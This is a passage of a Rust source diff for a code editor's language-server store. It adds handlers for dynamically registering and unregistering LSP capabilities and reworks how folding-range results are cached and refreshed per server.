+                                &mut capabilities
+                                    .workspace
+                                    .get_or_insert_default()
+                                    .file_operations
+                            },
+                        )? {
+                            self.update_paths_watched_for_rename(&server);
+                        }
+                    }
+                }
+                "workspace/executeCommand" => {
+                    if let Some(options) = reg.register_options {
+                        let options = serde_json::from_value(options)?;
+                        self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            options,
+                            cx,
+                            |registrations| &mut registrations.execute_command,
+                            |capabilities| &mut capabilities.execute_command_provider,
+                        )?;
+                    }
+                }
+                "textDocument/rangeFormatting" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.range_formatting,
+                        |capabilities| &mut capabilities.document_range_formatting_provider,
+                    )?;
+                }
+                "textDocument/onTypeFormatting" => {
+                    if let Some(options) = reg
+                        .register_options
+                        .map(serde_json::from_value)
+                        .transpose()?
+                    {
+                        self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            options,
+                            cx,
+                            |registrations| &mut registrations.on_type_formatting,
+                            |capabilities| &mut capabilities.document_on_type_formatting_provider,
+                        )?;
+                    }
+                }
+                "textDocument/formatting" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.formatting,
+                        |capabilities| &mut capabilities.document_formatting_provider,
+                    )?;
+                }
+                "textDocument/rename" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.rename,
+                        |capabilities| &mut capabilities.rename_provider,
+                    )?;
+                }
+                "textDocument/inlayHint" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    if self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.inlay_hint,
+                        |capabilities| &mut capabilities.inlay_hint_provider,
+                    )? {
+                        self.refresh_inlay_hints(server_id, cx);
+                    }
+                }
+                "textDocument/documentSymbol" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    if self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.document_symbol,
+                        |capabilities| &mut capabilities.document_symbol_provider,
+                    )? {
+                        self.refresh_document_symbols(Some(server_id), cx);
+                    }
+                }
+                "textDocument/codeAction" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    let provider = match options {
+                        OneOf::Left(value) => lsp::CodeActionProviderCapability::Simple(value),
+                        OneOf::Right(caps) => caps,
+                    };
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        provider,
+                        cx,
+                        |registrations| &mut registrations.code_action,
+                        |capabilities| &mut capabilities.code_action_provider,
+                    )?;
+                }
+                "textDocument/definition" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        options,
+                        cx,
+                        |registrations| &mut registrations.definition,
+                        |capabilities| &mut capabilities.definition_provider,
+                    )?;
+                }
+                "textDocument/completion" => {
+                    if let Some(caps) = reg
+                        .register_options
+                        .map(serde_json::from_value::<CompletionOptions>)
+                        .transpose()?
+                    {
+                        if self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            caps,
+                            cx,
+                            |registrations| &mut registrations.completion,
+                            |capabilities| &mut capabilities.completion_provider,
+                        )? {
+                            let active = server.capabilities().completion_provider;
+                            self.apply_completion_triggers(server_id, active, cx);
+                        }
+                    }
+                }
+                "textDocument/hover" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    let provider = match options {
+                        OneOf::Left(value) => lsp::HoverProviderCapability::Simple(value),
+                        OneOf::Right(caps) => caps,
+                    };
+                    self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        provider,
+                        cx,
+                        |registrations| &mut registrations.hover,
+                        |capabilities| &mut capabilities.hover_provider,
+                    )?;
+                }
+                "textDocument/signatureHelp" => {
+                    if let Some(caps) = reg
+                        .register_options
+                        .map(serde_json::from_value)
+                        .transpose()?
+                    {
+                        self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            caps,
+                            cx,
+                            |registrations| &mut registrations.signature_help,
+                            |capabilities| &mut capabilities.signature_help_provider,
+                        )?;
+                    }
+                }
+                "textDocument/didChange" => {
+                    if let Some(sync_kind) = reg
+                        .register_options
+                        .and_then(|opts| opts.get("syncKind").cloned())
+                        .map(serde_json::from_value::<lsp::TextDocumentSyncKind>)
+                        .transpose()?
+                    {
+                        server.update_capabilities(|capabilities| {
+                            let mut sync_options = take_text_document_sync_options(capabilities);
+                            sync_options.change = Some(sync_kind);
+                            capabilities.text_document_sync =
+                                Some(lsp::TextDocumentSyncCapability::Options(sync_options));
+                        });
+                        notify_server_capabilities_updated(&server, cx);
+                    }
+                }
+                "textDocument/didSave" => {
+                    if let Some(include_text) = reg
+                        .register_options
+                        .map(|opts| {
+                            let transpose = opts
+                                .get("includeText")
+                                .cloned()
+                                .map(serde_json::from_value::<Option<bool>>)
+                                .transpose();
+                            match transpose {
+                                Ok(value) => Ok(value.flatten()),
+                                Err(e) => Err(e),
+                            }
+                        })
+                        .transpose()?
+                    {
+                        server.update_capabilities(|capabilities| {
+                            let mut sync_options = take_text_document_sync_options(capabilities);
+                            sync_options.save =
+                                Some(TextDocumentSyncSaveOptions::SaveOptions(lsp::SaveOptions {
+                                    include_text,
+                                }));
+                            capabilities.text_document_sync =
+                                Some(lsp::TextDocumentSyncCapability::Options(sync_options));
+                        });
+                        notify_server_capabilities_updated(&server, cx);
+                    }
+                }
+                "textDocument/codeLens" => {
+                    if let Some(options) = reg
+                        .register_options
+                        .map(serde_json::from_value)
+                        .transpose()?
+                    {
+                        if self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            options,
+                            cx,
+                            |registrations| &mut registrations.code_lens,
+                            |capabilities| &mut capabilities.code_lens_provider,
+                        )? {
+                            self.refresh_code_lens(Some(server_id), cx);
+                        }
+                    }
+                }
+                "textDocument/diagnostic" => {
+                    if let Some(caps) = reg
+                        .register_options
+                        .map(serde_json::from_value::<DiagnosticServerCapabilities>)
+                        .transpose()?
+                    {
+                        let registration_id = reg.id.clone();
+                        self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            caps.clone(),
+                            cx,
+                            |registrations| &mut registrations.diagnostics,
+                            |capabilities| &mut capabilities.diagnostic_provider,
+                        )?;
+
+                        let supports_workspace_diagnostics =
+                            |capabilities: &DiagnosticServerCapabilities| match capabilities {
+                                DiagnosticServerCapabilities::Options(diagnostic_options) => {
+                                    diagnostic_options.workspace_diagnostics
+                                }
+                                DiagnosticServerCapabilities::RegistrationOptions(
+                                    diagnostic_registration_options,
+                                ) => {
+                                    diagnostic_registration_options
+                                        .diagnostic_options
+                                        .workspace_diagnostics
+                                }
+                            };
+
+                        let local = self
+                            .as_local_mut()
+                            .context("Expected LSP Store to be local")?;
+                        let state = local
+                            .language_servers
+                            .get_mut(&server_id)
+                            .context("Could not obtain Language Servers state")?;
+                        if let LanguageServerState::Running {
+                            workspace_diagnostics_refresh_tasks,
+                            ..
+                        } = state
+                        {
+                            workspace_diagnostics_refresh_tasks
+                                .remove(&Some(registration_id.clone()));
+                            if supports_workspace_diagnostics(&caps)
+                                && let Some(task) = lsp_workspace_diagnostics_refresh(
+                                    Some(registration_id.clone()),
+                                    caps,
+                                    server.clone(),
+                                    cx,
+                                )
+                            {
+                                workspace_diagnostics_refresh_tasks
+                                    .insert(Some(registration_id), task);
+                            }
+                        }
+
+                        let _ = self.pull_document_diagnostics_for_server(server_id, None, cx);
+                    }
+                }
+                "textDocument/documentColor" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    let provider = match options {
+                        OneOf::Left(value) => lsp::ColorProviderCapability::Simple(value),
+                        OneOf::Right(caps) => caps,
+                    };
+                    if self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        provider,
+                        cx,
+                        |registrations| &mut registrations.color,
+                        |capabilities| &mut capabilities.color_provider,
+                    )? {
+                        self.refresh_document_colors(Some(server_id), cx);
+                    }
+                }
+                "textDocument/foldingRange" => {
+                    let options = parse_register_capabilities(reg.register_options)?;
+                    let provider = match options {
+                        OneOf::Left(value) => lsp::FoldingRangeProviderCapability::Simple(value),
+                        OneOf::Right(caps) => caps,
+                    };
+                    if self.register_dynamic_capability(
+                        &server,
+                        &reg.method,
+                        reg.id,
+                        provider,
+                        cx,
+                        |registrations| &mut registrations.folding_range,
+                        |capabilities| &mut capabilities.folding_range_provider,
+                    )? {
+                        self.refresh_folding_ranges(Some(server_id), cx);
+                    }
+                }
+                "textDocument/documentLink" => {
+                    if let Some(caps) = reg
+                        .register_options
+                        .map(serde_json::from_value)
+                        .transpose()?
+                    {
+                        if self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            caps,
+                            cx,
+                            |registrations| &mut registrations.document_link,
+                            |capabilities| &mut capabilities.document_link_provider,
+                        )? {
+                            self.refresh_document_links(Some(server_id), cx);
+                        }
+                    }
+                }
+                "textDocument/semanticTokens" => {
+                    if let Some(caps) = reg
+                        .register_options
+                        .map(serde_json::from_value::<lsp::SemanticTokensRegistrationOptions>)
+                        .transpose()?
+                    {
+                        if self.register_dynamic_capability(
+                            &server,
+                            &reg.method,
+                            reg.id,
+                            lsp::SemanticTokensServerCapabilities::SemanticTokensRegistrationOptions(caps),
+                            cx,
+                            |registrations| &mut registrations.semantic_tokens,
+                            |capabilities| &mut capabilities.semantic_tokens_provider,
+                        )? {
+                            // Re-query already-open buffers, which would otherwise keep
+                            // tree-sitter-only highlighting until edited.
+                            self.refresh_semantic_tokens(server_id, cx);
+                        }
+                    }
+                }
+                _ => log::warn!("unhandled capability registration: {reg:?}"),
+            }
+        }
+
+        Ok(())
+    }
+
+    pub(super) fn unregister_server_capabilities(
+        &mut self,
+        server_id: LanguageServerId,
+        params: lsp::UnregistrationParams,
+        cx: &mut Context<Self>,
+    ) -> anyhow::Result<()> {
+        let server = self
+            .language_server_for_id(server_id)
+            .with_context(|| format!("no server {server_id} found"))?;
+        for unreg in params.unregisterations.iter() {
+            match unreg.method.as_str() {
+                "workspace/didChangeWatchedFiles" => {
+                    let notify = if let Some(local_lsp_store) = self.as_local_mut() {
+                        local_lsp_store
+                            .on_lsp_unregister_did_change_watched_files(server_id, &unreg.id, cx);
+                        true
+                    } else {
+                        false
+                    };
+                    if notify {
+                        notify_server_capabilities_updated(&server, cx);
+                    }
+                }
+                "workspace/didChangeConfiguration" => {
+                    // Ignore payload since we notify clients of setting changes unconditionally, relying on them pulling the latest settings.
+                }
+                "workspace/didChangeWorkspaceFolders" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.workspace_folders,
+                        |capabilities| {
+                            &mut capabilities
+                                .workspace
+                                .get_or_insert_default()
+                                .workspace_folders
+                        },
+                    )?;
+                }
+                "workspace/symbol" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.workspace_symbol,
+                        |capabilities| &mut capabilities.workspace_symbol_provider,
+                    )?;
+                }
+                "workspace/fileOperations" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.file_operations,
+                            |capabilities| {
+                                &mut capabilities
+                                    .workspace
+                                    .get_or_insert_default()
+                                    .file_operations
+                            },
+                        )?
+                        .capability_changed()
+                    {
+                        self.update_paths_watched_for_rename(&server);
+                    }
+                }
+                "workspace/executeCommand" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.execute_command,
+                        |capabilities| &mut capabilities.execute_command_provider,
+                    )?;
+                }
+                "textDocument/rangeFormatting" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.range_formatting,
+                        |capabilities| &mut capabilities.document_range_formatting_provider,
+                    )?;
+                }
+                "textDocument/onTypeFormatting" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.on_type_formatting,
+                        |capabilities| &mut capabilities.document_on_type_formatting_provider,
+                    )?;
+                }
+                "textDocument/formatting" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.formatting,
+                        |capabilities| &mut capabilities.document_formatting_provider,
+                    )?;
+                }
+                "textDocument/rename" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.rename,
+                        |capabilities| &mut capabilities.rename_provider,
+                    )?;
+                }
+                "textDocument/codeAction" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.code_action,
+                        |capabilities| &mut capabilities.code_action_provider,
+                    )?;
+                }
+                "textDocument/definition" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.definition,
+                        |capabilities| &mut capabilities.definition_provider,
+                    )?;
+                }
+                "textDocument/completion" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.completion,
+                            |capabilities| &mut capabilities.completion_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        let restored = server.capabilities().completion_provider;
+                        self.apply_completion_triggers(server_id, restored, cx);
+                    }
+                }
+                "textDocument/hover" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.hover,
+                        |capabilities| &mut capabilities.hover_provider,
+                    )?;
+                }
+                "textDocument/signatureHelp" => {
+                    self.unregister_dynamic_capability(
+                        &server,
+                        unreg,
+                        cx,
+                        |registrations| &mut registrations.signature_help,
+                        |capabilities| &mut capabilities.signature_help_provider,
+                    )?;
+                }
+                "textDocument/semanticTokens" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.semantic_tokens,
+                            |capabilities| &mut capabilities.semantic_tokens_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_semantic_tokens(server_id, cx);
+                    }
+                }
+                "textDocument/didChange" => {
+                    server.update_capabilities(|capabilities| {
+                        let mut sync_options = take_text_document_sync_options(capabilities);
+                        sync_options.change = None;
+                        capabilities.text_document_sync =
+                            Some(lsp::TextDocumentSyncCapability::Options(sync_options));
+                    });
+                    notify_server_capabilities_updated(&server, cx);
+                }
+                "textDocument/didSave" => {
+                    server.update_capabilities(|capabilities| {
+                        let mut sync_options = take_text_document_sync_options(capabilities);
+                        sync_options.save = None;
+                        capabilities.text_document_sync =
+                            Some(lsp::TextDocumentSyncCapability::Options(sync_options));
+                    });
+                    notify_server_capabilities_updated(&server, cx);
+                }
+                "textDocument/inlayHint" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.inlay_hint,
+                            |capabilities| &mut capabilities.inlay_hint_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_inlay_hints(server_id, cx);
+                    }
+                }
+                "textDocument/documentSymbol" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.document_symbol,
+                            |capabilities| &mut capabilities.document_symbol_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_document_symbols(Some(server_id), cx);
+                    }
+                }
+                "textDocument/codeLens" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.code_lens,
+                            |capabilities| &mut capabilities.code_lens_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_code_lens(Some(server_id), cx);
+                    }
+                }
+                "textDocument/diagnostic" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.diagnostics,
+                            |capabilities| &mut capabilities.diagnostic_provider,
+                        )?
+                        .removed()
+                    {
+                        let local = self
+                            .as_local_mut()
+                            .context("Expected LSP Store to be local")?;
+                        let state = local
+                            .language_servers
+                            .get_mut(&server_id)
+                            .context("Could not obtain Language Servers state")?;
+                        if let LanguageServerState::Running {
+                            workspace_diagnostics_refresh_tasks,
+                            ..
+                        } = state
+                        {
+                            workspace_diagnostics_refresh_tasks.remove(&Some(unreg.id.clone()));
+                        }
+
+                        self.clear_unregistered_diagnostics(
+                            server_id,
+                            SharedString::from(unreg.id.clone()),
+                            cx,
+                        )?;
+                    }
+                }
+                "textDocument/documentColor" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.color,
+                            |capabilities| &mut capabilities.color_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_document_colors(Some(server_id), cx);
+                    }
+                }
+                "textDocument/foldingRange" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.folding_range,
+                            |capabilities| &mut capabilities.folding_range_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_folding_ranges(Some(server_id), cx);
+                    }
+                }
+                "textDocument/documentLink" => {
+                    if self
+                        .unregister_dynamic_capability(
+                            &server,
+                            unreg,
+                            cx,
+                            |registrations| &mut registrations.document_link,
+                            |capabilities| &mut capabilities.document_link_provider,
+                        )?
+                        .capability_changed()
+                    {
+                        self.refresh_document_links(Some(server_id), cx);
+                    }
+                }
+                _ => log::warn!("unhandled capability unregistration: {unreg:?}"),
+            }
+        }
+
+        Ok(())
+    }
+}
+
+// Registration with registerOptions as null, should fallback to true.
+// https://github.com/microsoft/vscode-languageserver-node/blob/d90a87f9557a0df9142cfb33e251cfa6fe27d970/client/src/common/client.ts#L2133
+fn parse_register_capabilities<T: serde::de::DeserializeOwned>(
+    register_options: Option<serde_json::Value>,
+) -> Result<OneOf<bool, T>> {
+    Ok(match register_options {
+        Some(options) => OneOf::Right(serde_json::from_value::<T>(options)?),
+        None => OneOf::Left(true),
+    })
+}
+
+fn take_text_document_sync_options(
+    capabilities: &mut lsp::ServerCapabilities,
+) -> lsp::TextDocumentSyncOptions {
+    match capabilities.text_document_sync.take() {
+        Some(lsp::TextDocumentSyncCapability::Options(sync_options)) => sync_options,
+        Some(lsp::TextDocumentSyncCapability::Kind(sync_kind)) => {
+            let mut sync_options = lsp::TextDocumentSyncOptions::default();
+            sync_options.change = Some(sync_kind);
+            sync_options
+        }
+        None => lsp::TextDocumentSyncOptions::default(),
+    }
+}
diff --git a/crates/project/src/lsp_store/folding_ranges.rs b/crates/project/src/lsp_store/folding_ranges.rs
index 237ba9bbc02421..72e7998e810ac9 100644
--- a/crates/project/src/lsp_store/folding_ranges.rs
+++ b/crates/project/src/lsp_store/folding_ranges.rs
@@ -3,19 +3,23 @@ use std::sync::Arc;
 use std::time::Duration;
 
 use anyhow::Context as _;
-use clock::Global;
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use futures::FutureExt as _;
 use futures::future::{Shared, join_all};
-use gpui::{AppContext as _, Context, Entity, SharedString, Task};
+use gpui::{AppContext as _, AsyncApp, Context, Entity, SharedString, Task};
 use itertools::Itertools;
 use language::Buffer;
 use lsp::LanguageServerId;
+use rpc::{TypedEnvelope, proto};
 use settings::Settings as _;
 use text::Anchor;
+use util::ResultExt as _;
 
 use crate::lsp_command::{GetFoldingRanges, LspCommand as _};
-use crate::lsp_store::LspStore;
+use crate::lsp_store::{
+    LspStore, LspStoreEvent, RunningFetch, missing_servers_to_query, next_lsp_fetch_id,
+    upstream_lsp_query_server_filter,
+};
 use crate::project_settings::ProjectSettings;
 
 #[derive(Clone, Debug)]
@@ -30,10 +34,67 @@ pub(super) type FoldingRangeTask =
 #[derive(Debug, Default)]
 pub(super) struct FoldingRangeData {
     pub(super) ranges: HashMap<LanguageServerId, Vec<LspFoldingRange>>,
-    ranges_update: Option<(Global, FoldingRangeTask)>,
+    fetched_servers: HashSet<LanguageServerId>,
+    ranges_update: Option<RunningFetch<FoldingRangeTask>>,
+}
+
+impl FoldingRangeData {
+    pub(super) fn remove_server_data(&mut self, server_id: LanguageServerId) {
+        self.ranges.remove(&server_id);
+        self.fetched_servers.remove(&server_id);
+        RunningFetch::discard_if_queried(&mut self.ranges_update, server_id);
+    }
+
+    fn evict(&mut self, for_server: Option<LanguageServerId>) {
+        match for_server {
+            Some(server_id) => self.remove_server_data(server_id),
+            None => {
+                self.ranges.clear();
+                self.fetched_servers.clear();
+            }
+        }
+        self.ranges_update = None;
+    }
 }
 
 impl LspStore {
+    pub(super) fn refresh_folding_ranges(
+        &mut self,
+        for_server: Option<LanguageServerId>,
+        cx: &mut Context<Self>,
+    ) {
+        for lsp_data in self.lsp_data.values_mut() {
+            if let Some(folding_ranges) = &mut lsp_data.folding_ranges {
+                folding_ranges.evict(for_server);
+            }
+        }
+
+        cx.emit(LspStoreEvent::RefreshFoldingRanges {
+            server_id: for_server,
+        });
+        if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
+            downstream_client
+                .send(proto::RefreshFoldingRanges {
+                    project_id: *project_id,
+                    server_id: for_server.map(|server_id| server_id.to_proto()),
+                })
+                .context("sending refresh folding ranges downstream")
+                .log_err();
+        }
+    }
+
+    pub(super) async fn handle_refresh_folding_ranges(
+        lsp_store: Entity<Self>,
+        envelope: TypedEnvelope<proto::RefreshFoldingRanges>,
+        mut cx: AsyncApp,
+    ) -> anyhow::Result<proto::Ack> {
+        lsp_store.update(&mut cx, |lsp_store, cx| {
+            let server_id = envelope.payload.server_id.map(LanguageServerId::from_proto);
+            lsp_store.refresh_folding_ranges(server_id, cx);
+        });
+        Ok(proto::Ack {})
+    }
+
     /// Returns a task that resolves to the folding ranges for the given buffer.
     ///
     /// Caches results per buffer version so repeated calls for the same version
@@ -46,22 +107,20 @@ impl LspStore {
         let version_queried_for = buffer.read(cx).version();
         let buffer_id = buffer.read(cx).remote_id();
 
-        let current_language_servers = self.as_local().map(|local| {
-            local
-                .buffers_opened_in_servers
-                .get(&buffer_id)
-                .cloned()
-                .unwrap_or_default()
-        });
+        let current_servers = self.relevant_server_ids_for_capability_check(buffer, cx);
 
+        let mut servers_to_query = None;
         if let Some(lsp_data) = self.current_lsp_data(buffer_id) {
-            if let Some(cached) = &lsp_data.folding_ranges {
-                if !version_queried_for.changed_since(&lsp_data.buffer_version) {
-                    let has_different_servers =
-                        current_language_servers.is_some_and(|current_language_servers| {
-                            current_language_servers != cached.ranges.keys().copied().collect()
-                        });
-                    if !has_different_servers {
+            if !version_queried_for.changed_since(&lsp_data.buffer_version)
+                && let Some(cached) = &mut lsp_data.folding_ranges
+            {
+                match missing_servers_to_query(
+                    &mut cached.ranges,
+                    &mut cached.fetched_servers,
+                    &current_servers,
+                ) {
+                    Some(missing_servers) => servers_to_query = Some(missing_servers),
+                    None => {
                         let snapshot = buffer.read(cx).snapshot();
                         return Task::ready(
                             cached
@@ -75,80 +134,101 @@ impl LspStore {
                     }
                 }
             }
+            if let Some(folding_ranges) = &lsp_data.folding_ranges
+                && let Some(running) = &folding_ranges.ranges_update
+                && !version_queried_for.changed_since(&running.version)
+                && servers_to_query
+                    .as_ref()
+                    .is_none_or(|missing| missing.is_subset(&running.servers))
+            {
+                let running = running.task.clone();
+                return cx.background_spawn(async move { running.await.unwrap_or_default() });
+            }
         }
 
         let folding_lsp_data = self
             .latest_lsp_data(buffer, cx)
             .folding_ranges
             .get_or_insert_default();
-        if let Some((updating_for, running_update)) = &folding_lsp_data.ranges_update {
-            if !version_queried_for.changed_since(updating_for) {
-                let running = running_update.clone();
-                return cx.background_spawn(async move { running.await.unwrap_or_default() });
-            }
-        }
-
+        let fetch_id = next_lsp_fetch_id();
+        let queried_servers = servers_to_query
+            .clone()
+            .unwrap_or_else(|| current_servers.clone());
         let buffer = buffer.clone();
         let query_version = version_queried_for.clone();
         let new_task = cx
-            .spawn(async move |lsp_store, cx| {
-                cx.background_executor()
-                    .timer(Duration::from_millis(30))
-                    .await;
-
-                let fetched = lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        lsp_store.fetch_folding_ranges_for_buffer(&buffer, cx)
-                    })
-                    .map_err(Arc::new)?
-                    .await
-                    .context("fetching folding ranges")
-                    .map_err(Arc::new);
-
-                let fetched = match fetched {
-                    Ok(fetched) => fetched,
-                    Err(e) => {
-                        lsp_store
-                            .update(cx, |lsp_store, _| {
-                                if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id) {
-                                    if let Some(folding_ranges) = &mut lsp_data.folding_ranges {
-                                        folding_ranges.ranges_update = None;
+            .spawn({
+                let queried_servers = queried_servers.clone();
+                async move |lsp_store, cx| {
+                    cx.background_executor()
+                        .timer(Duration::from_millis(30))
+                        .await;
+
+                    let fetched = lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            lsp_store.fetch_folding_ranges_for_buffer(&buffer, servers_to_query, cx)
+                        })
+                        .map_err(Arc::new)?
+                        .await
+                        .context("fetching folding ranges")
+                        .map_err(Arc::new);
+
+                    let fetched = match fetched {
+                        Ok(fetched) => fetched,
+                        Err(e) => {
+                            lsp_store
+                                .update(cx, |lsp_store, _| {
+                                    if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id)
+                                        && let Some(folding_ranges) = &mut lsp_data.folding_ranges
+                                    {
+                                        RunningFetch::take_finished(
+                                            &mut folding_ranges.ranges_update,
+                                            fetch_id,
+                                        );
                                     }
-                                }
-                            })
-                            .ok();
-                        return Err(e);
-                    }
-                };
+                                })
+                                .ok();
+                            return Err(e);
+                        }
+                    };
+
+                    lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
+                            let folding = lsp_data.folding_ranges.get_or_insert_default();
 
-                lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
-                        let folding = lsp_data.folding_ranges.get_or_insert_default();
-
-                        if let Some(fetched_ranges) = fetched {
-                            if lsp_data.buffer_version == query_version {
-                                folding.ranges.extend(fetched_ranges);
-                            } else if !lsp_data.buffer_version.changed_since(&query_version) {
-                                lsp_data.buffer_version = query_version;
-                                folding.ranges = fetched_ranges;
+                            if RunningFetch::take_finished(&mut folding.ranges_update, fetch_id)
+                                && let Some(fetched_ranges) = fetched
+                            {
+                                if lsp_data.buffer_version == query_version {
+                                    folding.ranges.extend(fetched_ranges);
+                                    folding.fetched_servers.extend(queried_servers);
+                                } else if !lsp_data.buffer_version.changed_since(&query_version) {
+                                    lsp_data.buffer_version = query_version;
+                                    folding.ranges = fetched_ranges;
+                                    folding.fetched_servers = queried_servers;
+                                }
                             }
-                        }
-                        folding.ranges_update = None;
-                        let snapshot = buffer.read(cx).snapshot();
-                        folding
-                            .ranges
-                            .values()
-                            .flatten()
-                            .cloned()
-                            .sorted_by(|a, b| a.range.start.cmp(&b.range.start, &snapshot))
-                            .collect()
-                    })
-                    .map_err(Arc::new)
+                            let snapshot = buffer.read(cx).snapshot();
+                            folding
+                                .ranges
+                                .values()
+                                .flatten()
+                                .cloned()
+                                .sorted_by(|a, b| a.range.start.cmp(&b.range.start, &snapshot))
+                                .collect()
+                        })
+                        .map_err(Arc::new)
+                }
             })
             .shared();
 
-        folding_lsp_data.ranges_update = Some((version_queried_for, new_task.clone()));
+        folding_lsp_data.ranges_update = Some(RunningFetch {
+            id: fetch_id,
+            version: version_queried_for,
+            servers: queried_servers,
+            task: new_task.clone(),
+        });
 
         cx.background_spawn(async move { new_task.await.unwrap_or_default() })
     }
@@ -156,6 +236,7 @@ impl LspStore {
     fn fetch_folding_ranges_for_buffer(
         &mut self,
         buffer: &Entity<Buffer>,
+        for_servers: Option<HashSet<LanguageServerId>>,
         cx: &mut Context<Self>,
     ) -> Task<anyhow::Result<Option<HashMap<LanguageServerId, Vec<LspFoldingRange>>>>> {
         if let Some((client, project_id)) = self.upstream_client() {
@@ -169,7 +250,7 @@ impl LspStore {
                 .get_request_timeout();
             let request_task = client.request_lsp(
                 project_id,
-                None,
+                upstream_lsp_query_server_filter(for_servers.as_ref()),
                 request_timeout,
                 cx.background_executor().clone(),
                 request.to_proto(project_id, buffer.read(cx)),
@@ -217,8 +298,13 @@ impl LspStore {
                 Ok(Some(result))
             })
         } else {
-            let folding_task =
-                self.request_multiple_lsp_locally(buffer, None::<usize>, GetFoldingRanges, cx);
+            let folding_task = self.request_filtered_lsp_locally(
+                buffer,
+                None::<usize>,
+                GetFoldingRanges,
+                for_servers.as_ref(),
+                cx,
+            );
             cx.background_spawn(async move { Ok(Some(folding_task.await.into_iter().collect())) })
         }
     }
diff --git a/crates/project/src/lsp_store/inlay_hints.rs b/crates/project/src/lsp_store/inlay_hints.rs
index a5fddd11f414f5..e688b163040386 100644
--- a/crates/project/src/lsp_store/inlay_hints.rs
+++ b/crates/project/src/lsp_store/inlay_hints.rs
@@ -1,7 +1,7 @@
 use std::{collections::hash_map, ops::Range, sync::Arc};
 
 use anyhow::{Context as _, Result};
-use collections::HashMap;
+use collections::{HashMap, HashSet};
